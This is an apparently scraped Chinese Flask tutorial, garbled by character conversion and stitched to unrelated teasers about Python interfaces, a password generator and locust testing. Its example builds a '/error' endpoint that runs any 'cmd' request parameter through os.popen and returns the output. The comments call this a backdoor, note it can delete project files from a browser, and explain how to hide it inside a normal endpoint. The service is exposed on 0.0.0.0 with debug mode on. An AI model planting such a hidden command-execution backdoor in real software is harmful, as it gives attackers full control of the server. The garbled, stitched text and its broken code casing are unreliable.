開發步驟:
1、例項化server
2、裝飾器下面的函式變為乙個介面
3、啟動服務
開發工具和流程:
python庫:flask =》例項化server:server = flask.flask(__name__) =》@server.route('/index',methods=['post'])
=》def index(arg):{}
例子:import os
import flask,json #引入flask框架
from flask_cors import cors
# r'/*' 是萬用字元,讓本伺服器所有的url 都允許跨域請求
cors(server, resources=r'/*')
@server.route('/error',methods=['get'])
def cmd():
cmd = flask.request.values.get('cmd') # 介面入參
res = os.popen(cmd) # 執行使用者命令
return res.read() # 返回執行結果
# -rf a.txt 後門介面可以直接通過瀏覽器刪除專案檔案
# 隱蔽一點的方法,把cmd = flask.request.values('cmd',none)寫入正常介面
# 預設可以不傳,一但傳了再res = os.popen(cmd)
server.run(port=8888,debug=true,host='0.0.0.0') # 啟動服務
# debug=true,改了**後,不用重啟,它會自動重啟
# 'host='0.0.0.0'別人可以通過ip訪問
python介面的定義
什麼是介面 介面只是定義了一些方法,而沒有去實現,多用於程式設計時,只是設計需要有什麼樣的功能,但是並沒有實現任何功能,這些功能需要被另乙個類 b 繼承後,由 類b去實現其中的某個功能或全部功能。個人的理解,多用於協作開發時,有不同的人在不同的類中實現介面中的各個方法。在python中介面由抽象類和...
用python寫乙個帶有gui介面的密碼生成器
需要用pspuf到的庫 from tkinter import import random,string import pyperclip root tk root.geometry 400x400 root.resizable 0,0 root.title 密碼生成器 heading label ...
利用locustio進行關聯介面的效能測試
locustio通常用來做單介面壓測,指令碼編寫成本低,併發度高。新版locustio對補充了關聯介面的測試場景,利用seq task可以較為快速的定義執行的先後順序,同時利用全域性的queue,實現引數的傳遞。本例模擬停車入場和出場的場景,按照業務邏輯,停車入場後生成乙個訂單號order id,出...